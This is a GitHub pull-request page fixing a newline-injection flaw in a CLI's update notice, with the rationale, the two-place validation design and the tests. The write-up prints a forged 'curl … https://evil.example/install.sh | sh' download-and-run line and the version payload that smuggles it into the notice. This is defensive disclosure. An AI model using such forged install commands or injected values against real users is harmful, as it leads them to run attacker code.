Restrict the shape of a version before repeating it - #18
Merged
Merged
Conversation
`fetch_latest` took the channel's `version` and checked only that it was
non-empty, then the notice interpolated it into text a reader is meant to
copy and run:
A newer mapbox is available: {latest} (this is {current}).
Update: curl -fsSL https://cli.mapbox.com/install.sh | sh
Silence this: MAPBOX_NO_UPDATE_CHECK=1
A value carrying a newline writes lines of its own. What makes it reach the
notice at all is `parse_version` discarding build metadata before comparing —
`text.split('+').next()` — so everything after a `+` is invisible to
`is_newer` and still printed in full. `0.3.0+\nUpdate: …` therefore compares
as 0.3.0, passes the newer check, and renders:
A newer mapbox is available: 0.3.0+
Update: curl -fsSL https://evil.example/install.sh | sh (this is 0.1.5).
Update: curl -fsSL https://cli.mapbox.com/install.sh | sh
Silence this: MAPBOX_NO_UPDATE_CHECK=1
The forged line lands *above* the real one. Of everything this CLI prints the
update notice is the line most meant to be acted on, which is what makes this
worth more than noise on stderr.
The shape is restricted rather than the content sanitised: ASCII
alphanumerics, `.`, `-`, `+`, bounded at 64. That admits every version the
channel publishes — `0.2.0`, `0.1.3-dev.abc1234`, `0.2.0-rc.1`, `0.2.0+build.5`
— and no character that can begin a line or move a cursor.
Checked in two places, deliberately. `fetch_latest` so an implausible version
is never cached; `should_notify` because the cache is a file on disk, and a
check that only ran at fetch time would be bypassed by a cache written before
this existed or edited afterwards.
Five tests. The two that matter fail when either guard is removed — verified,
after a first attempt whose payload was rejected by `is_newer` for unrelated
reasons and so passed either way.
600 tests, fmt and clippy clean.
zmofei
approved these changes
Sep 15, 2026
zmofei
approved these changes
Sep 15, 2026
zmofei
added a commit
that referenced
this pull request
Sep 15, 2026
Carries the path-parameter encoding fix (#15) that's been sitting on this branch since it was cut, along with the CI timeout fix (#14), the private-repo doc de-linking (#16) and update-check version validation (#18) — none of which had reached main. See CHANGELOG.md for what 0.2.1 actually changes user-facing behavior.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
The update check took the channel's
versionand checked only that it was non-empty, then interpolated it into the notice — the one piece of this CLI's output a reader is meant to copy and run:A value carrying a newline writes lines of its own.
Why it reached the notice
parse_versiondiscards build metadata before comparing —text.split('+').next()— so everything after a+is invisible tois_newerand still printed in full. A version of0.3.0+\nUpdate: …therefore compares as0.3.0, passes the newer check, and renders:The forged line lands above the genuine one, so a reader copying the first
Update:gets theirs.The fix
Restrict the shape rather than sanitise the content — ASCII alphanumerics,
.,-,+, bounded at 64. That admits every version the channel publishes (0.2.0,0.1.3-dev.abc1234,0.2.0-rc.1,0.2.0+build.5) and no character that can begin a line or move a cursor. A test walks that list, because being too strict here silences legitimate notices about a value the CLI doesn't control.Checked in two places on purpose:
fetch_latest, so an implausible version is never written to the cache;should_notify, because the cache is a file on disk — a check that only ran at fetch time would be bypassed by a cache written before this existed, or edited afterwards.Tests
Five, covering the published shapes, the newline forgery, carriage returns and escape sequences (which move a cursor without a newline at all), the length bound, and the on-disk cache path.
The two that matter fail when either guard is removed — I checked, and it mattered: my first payload was rejected by
is_newerfor unrelated reasons, so the test passed with or without the fix and proved nothing. The payload in the PR is the one that actually reaches the notice.593 tests,
cargo fmt --checkandcargo clippy --locked --all-targetsclean.Based on #13 so its Windows leg doesn't inherit the hang still on
main.